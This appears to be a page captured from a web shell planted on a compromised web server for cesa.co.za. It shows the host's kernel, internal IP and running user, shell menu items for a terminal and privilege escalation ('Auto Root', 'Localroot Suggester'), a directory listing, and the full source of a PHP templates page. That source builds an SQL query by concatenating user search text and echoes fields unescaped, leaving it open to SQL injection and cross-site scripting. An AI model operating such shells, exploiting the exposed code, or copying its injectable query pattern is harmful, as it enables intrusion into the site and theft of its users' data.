Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
cesanet /
ajax /
Delete
Unzip
Name
Size
Permission
Date
Action
cleanup-images.php
1.14
KB
-rw-r--r--
2025-06-27 10:14
php_errors.log
6.04
KB
-rw-r--r--
2026-08-21 08:11
reading-library.html.php
5.2
KB
-rw-r--r--
2026-04-29 07:23
recommended-reading.html.php
4.41
KB
-rw-r--r--
2026-04-29 07:23
resource-centre.html.php
4.7
KB
-rw-r--r--
2026-06-01 08:49
templates.html.php
3.25
KB
-rw-r--r--
2026-04-29 07:23
Save
Rename
<?php include($_SERVER['DOCUMENT_ROOT'] . "/cesanet/inc_functions.php"); $searchText = setSessionVar('library_search_text', getRequestVar('library_search_text', '')); $archived = setSessionVar('library_archived', getRequestVar('library_archived', 0)); $libraryUrlPrefix = CCEDocuments::resolveLibraryUrlPrefix(); ?> <h1> Templates <?php if (!CurrentStudent()) echo " - Archived " . $_SESSION["StudentYear"]; ?> </h1> <?php $pageNum = getRequestVar('pageNum', 1); $ipp = getRequestVar('ipp', 20); $docSQL = "CCETemplates t " . "WHERE 1 = 1 "; if (strlen($searchText) > 0) { $searchText = str_replace(' ', '%', $searchText); $docSQL .= " AND (t.TemplateName LIKE '%" . $searchText . "%' OR t.TemplateFile LIKE '%" . $searchText . "%' OR t.RefNum LIKE '%" . $searchText . "%')"; } if (CurrentStudent() && $archived == 0) { $docSQL .= " AND t.Archived=0"; } elseif ($archived == 1) { $docSQL .= " AND t.Archived=1"; } else { $docSQL .= " AND t.Archived=1 AND t.ArchiveYear<=" . $_SESSION["StudentYear"]; } //echo $docSQL; $readingLibrary = HTMLHelper::getPaginated($sqlf, $docSQL, array('RefNum' => 'ASC', 'TemplateName' => 'ASC'), $ipp, $pageNum, array('select-all-class' => 'template-pager-links')); if ($readingLibrary['totalRecords'] > 0) { ?> <table class="table" border="0" cellpadding="4" cellspacing="0"> <tr> <th colspan="8"> <?php echo $readingLibrary['pageSentences'] ?> <?php echo $readingLibrary['pageNav'] ?> </th> </tr> <tr> <th> Reference Number </th> <th> Template Name </th> </tr> <?php foreach ($readingLibrary['records'] as $readingLibraryDoc) { ?> <tr> <td> <?php $templateDoc = array( 'DocumentFile' => $readingLibraryDoc['TemplateFile'] ?? '', 'CCEDocumentID' => 0, 'DisplayInline' => 0, ); $templateHref = CCEDocuments::getLibraryDocumentHref($templateDoc, $libraryUrlPrefix); if ($templateHref !== '') { ?> <a href="<?php echo $templateHref; ?>" target="_blank"><?php echo $readingLibraryDoc['RefNum']; ?></a> <?php } else { echo $readingLibraryDoc['RefNum']; } ?> </td> <td> <?php if ($templateHref !== '') { ?> <a href="<?php echo $templateHref; ?>" target="_blank"><?php echo $readingLibraryDoc['TemplateName']; ?></a> <?php } else { echo $readingLibraryDoc['TemplateName']; } ?> </td> </tr> <?php } //foreach ?> </table> <?php } else { ?> <div class="alert alert-warning">No Templates found</div> <?php if (strlen($resources['error']) > 0) { echo $resources['error']; } }